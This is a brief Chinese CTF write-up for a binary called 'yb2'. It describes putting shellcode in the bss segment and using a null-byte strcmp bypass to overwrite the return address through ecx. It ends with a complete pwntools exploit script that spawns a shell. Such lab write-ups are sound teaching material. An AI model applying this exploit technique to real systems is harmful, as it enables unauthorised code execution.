保护啥也没有。
看起来似乎是就是一个输入shellcode的过程,但是往哪输入,然后输入进去咋样,题目怎么做,都暂时看不出来,所以需要我们去调试一下。
可以看出来shellcode被放在了0x804a040,这是一个bss上的地址。
我们可以看到,当我们通过’\x00’截断来绕过strcmp正常返回的时候,我们会把ebp-8,也就是v3地方的地址弹到ecx,然后控制了它就可以控制我们函数的返回地址,我们只要让它合适的返回到我们的shellcode上就好啦。
exp
from pwn import*
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
r = process("yb2")
bss_addr = 0x804a040
payload = p32(bss_addr + 4) + asm(shellcraft.sh())
r.sendlineafter("Input your shellcode\n", payload)
r.sendlineafter("shellcode????\n", "yes\n" + '\x00' * 12 + p32(bss_addr + 4))
r.interactive()